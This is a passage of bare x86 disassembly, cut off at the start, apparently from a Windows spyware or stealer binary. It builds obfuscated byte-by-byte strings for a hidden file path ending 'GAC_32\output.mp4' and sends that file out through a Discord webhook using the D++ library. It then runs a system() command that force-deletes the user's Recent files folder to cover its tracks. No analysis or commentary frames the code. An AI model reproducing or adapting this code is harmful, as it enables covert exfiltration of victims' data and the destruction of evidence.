mov byte [ebp - 0x1af1], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af0], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aef], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aee], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aed], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aec], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aeb], al
call fcn.00464cf0
push 0x62
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aea], al
call fcn.00464cf0
push 0x6c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae9], al
call fcn.00464cf0
push 0x79
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae8], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae7], al
call fcn.00464cf0
push 0x47
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae6], al
call fcn.00464cf0
mov byte [ebp - 0x1ae5], al
push 0x41
lea ecx, [ebp - 0x1b08]
call fcn.00464cf0
push 0x43
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae4], al
call fcn.00464cf0
push 0x5f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae3], al
call fcn.00464cf0
push 0x33
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae2], al
call fcn.00464cf0
push 0x32
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae1], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae0], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1adf], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ade], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1add], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1adc], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1adb], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ada], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad9], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad8], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad7], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad6], al
call fcn.00464cf0
mov byte [ebp - 0x1ad5], al
xor esi, esi
mov byte [ebp - 0x1ad4], 0
push esi
lea ecx, [ebp - 0x1b07]
call fcn.00464d10
lea ecx, [ebp - 0x1b08]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1b07]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0x33
jb 0x447070
push 0x33
lea ecx, [ebp - 0x1b07]
call fcn.00464d10
lea ecx, [ebp - 0x1b07]
mov byte [eax], 0
call fcn.00464d00
push eax
lea ecx, [ebp - 0x2330]
call fcn.004666f0
push dword [ebp - 0x1b5c]
mov ecx, dword [ebp - 0x1a18]
lea eax, [ebp - 0x2330]
push eax
mov byte [ebp - 4], 0xa3
call dword [sym.imp.dpp.dll_public:_struct_dpp::message____thiscall_dpp::message::add_file_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push eax
lea ecx, [ebp - 0x2d0]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_struct_dpp::message_const__]
lea ecx, [ebp - 0x2330]
call fcn.004665d0
lea ecx, [ebp - 0x2858]
call fcn.004665d0
lea ecx, [ebp - 0x2318]
call fcn.004665d0
lea ecx, [ebp - 0x3348]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x2870]
call fcn.004665d0
lea ecx, [ebp - 0x2888]
call fcn.004665d0
lea ecx, [ebp - 0x28a0]
call fcn.004665d0
lea ecx, [ebp - 0x28b8]
call fcn.004665d0
lea ecx, [ebp - 0x28d0]
call fcn.004665d0
lea ecx, [ebp - 0x28e8]
call fcn.004665d0
lea ecx, [ebp - 0x2900]
call fcn.004665d0
lea ecx, [ebp - 0x2918]
call fcn.004665d0
lea ecx, [ebp - 0x2930]
call fcn.004665d0
lea ecx, [ebp - 0x2b88]
call fcn.004665d0
lea ecx, [ebp - 0x2960]
mov byte [ebp - 4], 0xb3
call fcn.004665d0
push 0x4797c6
lea ecx, [ebp - 0x2300]
call fcn.004666f0
lea eax, [ebp - 0x2d0]
mov byte [ebp - 4], 0xb4
xorps xmm0, xmm0
lea ecx, [ebp - 0x2e68]
push eax
movlpd qword [ebp - 0x1fd0], xmm0
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_struct_dpp::message_const__]
mov esi, eax
mov byte [ebp - 4], 0xb5
push dword [ebp - 0x19d0]
lea ecx, [ebp - 0x2c10]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::webhook::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
sub esp, 0x28
mov byte [ebp - 4], 0xb6
mov ecx, esp
mov dword [ebp - 0x19d0], esp
push ecx
call dword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const______cdecl_dpp::utility::log_error_void_]
add esp, 4
lea eax, [ebp - 0x2300]
mov byte [ebp - 4], 0xb7
push eax
sub esp, 8
lea eax, [ebp - 0x1fd0]
mov ecx, esp
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::snowflake::constructor_unsigned_long_long_unsigned___int64__const__]
push 0
push esi
lea eax, [ebp - 0x2c10]
mov byte [ebp - 4], 0xb6
push eax
lea ecx, [ebp - 0x19c8]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::execute_webhook_class_dpp::webhook_const___struct_dpp::message_const___bool__class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::function_void____cdecl___struct_dpp::confirmation_callback_t_const____]
lea ecx, [ebp - 0x2c10]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::webhook::destructor_void_]
lea ecx, [ebp - 0x2e68]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x2300]
mov byte [ebp - 4], 0xb3
call fcn.004665d0
call fcn.004432d0
push 0x64
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b58], 1
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b57], al
call fcn.00464cf0
push 0x6c
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b56], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b55], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b54], al
call fcn.00464cf0
push 0x51
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b53], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b52], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b51], al
call fcn.00464cf0
push 0x46
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b50], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b4f], al
call fcn.00464cf0
push 0x22
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b4e], al
call fcn.00464cf0
mov byte [ebp - 0x1b4d], al
lea ecx, [ebp - 0x1b58]
push 0x25
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b4c], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b4b], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b4a], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b49], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b48], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b47], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b46], al
call fcn.00464cf0
push 0x66
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b45], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b44], al
call fcn.00464cf0
push 0x6c
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b43], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b42], al
call fcn.00464cf0
push 0x25
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b41], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b40], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b3f], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b3e], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b3d], al
call fcn.00464cf0
push 0x44
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b3c], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b3b], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b3a], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b39], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b38], al
call fcn.00464cf0
push 0x52
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b37], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b36], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b35], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b34], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b33], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b32], al
call fcn.00464cf0
push 0x67
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b31], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b30], al
call fcn.00464cf0
push 0x4d
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b2f], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b2e], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b2d], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b2c], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b2b], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b2a], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b29], al
call fcn.00464cf0
push 0x66
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b28], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b27], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b26], al
call fcn.00464cf0
push 0x57
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b25], al
call fcn.00464cf0
mov byte [ebp - 0x1b24], al
push 0x69
lea ecx, [ebp - 0x1b58]
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b23], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b22], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b21], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b20], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b1f], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b1e], al
call fcn.00464cf0
push 0x52
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b1d], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b1c], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b1b], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b1a], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b19], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b18], al
call fcn.00464cf0
push 0x5c
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b17], al
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b16], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b15], al
call fcn.00464cf0
push 0x2a
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b14], al
call fcn.00464cf0
push 0x22
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b13], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b12], al
call fcn.00464cf0
push 0x3e
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b11], al
call fcn.00464cf0
mov byte [ebp - 0x1b10], al
push 0x20
lea ecx, [ebp - 0x1b58]
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b0f], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b0e], al
call fcn.00464cf0
push 0x6c
lea ecx, [ebp - 0x1b58]
mov byte [ebp - 0x1b0d], al
call fcn.00464cf0
mov byte [ebp - 0x1b0c], al
xor esi, esi
mov byte [ebp - 0x1b0b], 0
push esi
lea ecx, [ebp - 0x1b57]
call fcn.00464d10
lea ecx, [ebp - 0x1b58]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x1b57]
mov byte [ebp - 0x19c9], al
call fcn.00464d10
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0x4c
jb 0x447820
push 0x4c
lea ecx, [ebp - 0x1b57]
call fcn.00464d10
lea ecx, [ebp - 0x1b57]
mov byte [eax], 0
call fcn.00464d00
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x2d0]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x558]
call edi
lea ecx, [ebp - 0x19c8]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::cluster::destructor_void_]
lea ecx, [ebp - 0x74]
call fcn.004665d0
lea ecx, [ebp - 0x5c]
call fcn.004665d0
lea ecx, [ebp - 0x44]
call fcn.004665d0
lea ecx, [ebp - 0x2c]
call fcn.004665d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret